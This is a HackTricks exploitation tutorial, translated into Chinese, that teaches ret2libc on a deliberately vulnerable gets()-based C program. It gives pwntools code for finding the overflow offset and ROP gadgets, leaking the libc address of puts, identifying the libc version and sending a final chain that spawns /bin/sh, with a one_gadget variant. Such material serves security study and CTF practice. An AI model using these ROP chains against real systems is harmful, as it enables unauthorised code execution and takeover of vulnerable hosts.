hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address
2023-08-03 19:12:22 +00:00
..
README.md Translated to Chinese 2023-08-03 19:12:22 +00:00
rop-leaking-libc-template.md Translated to Chinese 2023-08-03 19:12:22 +00:00

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

快速简介

  1. 找到溢出偏移量
  2. 找到POP_RDIPUTS_PLTMAIN_PLT的gadgets
  3. 使用前面的gadgets来泄漏puts或其他libc函数的内存地址找到libc版本下载地址
  4. 使用库来计算ROP并利用它

其他教程和二进制文件供练习

本教程将利用此教程中提供的代码/二进制文件进行利用:https://tasteofsecurity.com/security/ret2libc-unknown-libc/
其他有用的教程:https://made0x78.com/bseries-ret2libc/https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

代码

文件名:vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector  -no-pie

ROP - 泄露 LIBC 模板

我将使用此处的代码来制作漏洞利用。
下载漏洞利用并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- 查找偏移量

在继续进行漏洞利用之前,模板需要一个偏移量。如果没有提供偏移量,它将执行必要的代码来查找它(默认情况下 OFFSET = ""

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

执行 python template.py 将打开一个带有崩溃程序的 GDB 控制台。在该 GDB 控制台 中执行 x/wx $rsp 以获取将要覆盖 RIP 的 字节。最后,在 python 控制台 中获取 偏移量

from pwn import *
cyclic_find(0x6161616b)

在找到偏移量在本例中为40使用该值更改模板中的OFFSET变量。
OFFSET = "A" * 40

另一种方法是使用:pattern create 1000 -- execute until ret -- pattern seach $rsp from GEF。

2- 寻找Gadgets

现在我们需要在二进制文件中找到ROP gadgets。这些ROP gadgets将用于调用puts函数来找到正在使用的libc,然后用于启动最终的攻击

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT是调用puts函数所需的。
MAIN_PLT是在一次交互后再次调用主函数以便再次利用溢出(无限次的利用)。它在每个ROP的末尾用于再次调用程序
POP_RDI用于将参数传递给被调用的函数。

在这一步中您不需要执行任何操作因为在执行过程中pwntools将找到所有所需的内容。

3- 查找LIBC库

现在是时候找出正在使用的libc库的版本了。为此,我们将泄漏内存中puts函数地址然后我们将在该地址中搜索puts版本所在的库版本

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

要做到这一点,执行代码中最重要的一行是:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

这将发送一些字节,直到覆盖 RIP 成为可能:OFFSET
然后,它将设置POP_RDI小工具的地址,以便下一个地址(FUNC_GOT)将保存在RDI寄存器中。这是因为我们想要调用puts,并将PUTS_GOT地址作为puts函数在内存中的地址保存在PUTS_GOT指向的地址中。
之后,将调用PUTS_PLT(将PUTS_GOT放入RDI因此puts将读取PUTS_GOT中的内容(puts函数在内存中的地址)并将其打印出来
最后,再次调用main函数,以便我们可以再次利用溢出。

这样我们成功欺骗了puts函数使其打印出位于libc库中的puts函数的内存地址。现在,我们有了该地址,我们可以搜索正在使用的libc版本

由于我们正在利用一些本地二进制文件,因此不需要找出正在使用的libc版本(只需在/lib/x86_64-linux-gnu/libc.so.6中找到该库)。
但是,在远程利用的情况下,我将在这里解释如何找到它:

3.1- 搜索libc版本1

您可以在网页上搜索正在使用的库:https://libc.blukat.me/
它还允许您下载发现的libc版本

3.2- 搜索libc版本2

您还可以执行以下操作:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

这需要一些时间,请耐心等待。
为了使其工作,我们需要:

  • Libc符号名称puts
  • 泄漏的libc地址0x7ff629878690

我们可以找出最有可能使用的libc版本。

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

我们找到了2个匹配项如果第一个不起作用您可以尝试第二个。下载第一个

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so中的libc复制到我们的工作目录中。

3.3- 用于泄漏的其他函数

puts
printf
__libc_start_main
read
gets

4- 寻找基于libc的地址并进行利用

在这一步中我们应该知道使用的libc库。由于我们正在利用本地二进制文件我将只使用/lib/x86_64-linux-gnu/libc.so.6

因此,在template.py的开头,将libc变量更改为:libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #当知道路径时设置库路径

libc库的路径提供给exploit的其余部分将自动计算

get_addr函数内,将计算libc的基地址

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} 请注意,最终的libc基地址必须以00结尾。如果不是这种情况,可能会泄漏错误的库。 {% endhint %}

然后,函数system的地址和字符串"/bin/sh"的地址将从libc的基地址和给定的libc库中进行计算

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

最后,将准备好的/bin/sh执行漏洞利用发送出去

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

让我们解释一下这个最终的ROP。

最后一个ROProp1再次调用了main函数因此我们可以再次利用溢出漏洞这就是为什么OFFSET再次出现的原因)。然后,我们想要调用POP_RDI指向"/bin/sh"的地址(BINSH并调用system函数SYSTEM),因为"/bin/sh"的地址将作为参数传递。

最后调用exit函数的地址以便进程正常退出不会生成任何警报。

这样,利用程序将执行一个"/bin/sh" shell。

4(2)- 使用ONE_GADGET

您还可以使用ONE_GADGET来获取一个shell而不是使用system和"/bin/sh"。ONE_GADGET将在libc库中找到一种只使用一个ROP地址就能获取shell的方法。

然而,通常会有一些限制条件,最常见且容易避免的是[rsp+0x30] == NULL。由于您可以控制RSP中的值只需发送更多的NULL值即可避免这个限制条件。

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT文件

您可以在此处找到利用此漏洞的模板:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

常见问题

未找到MAIN_PLT = elf.symbols['main']

如果找不到"main"符号。那么您可以查看主要代码的位置:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

并手动设置地址:

MAIN_PLT = 0x401080

找不到Puts函数

如果二进制文件没有使用Puts函数你应该检查是否使用了

sh: 1: %s%s%s%s%s%s%s%s: not found

如果在创建所有的攻击载荷之后,你发现了这个错误sh: 1: %s%s%s%s%s%s%s%s: not found

尝试从"/bin/sh"的地址中减去64个字节

BINSH = next(libc.search("/bin/sh")) - 64
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥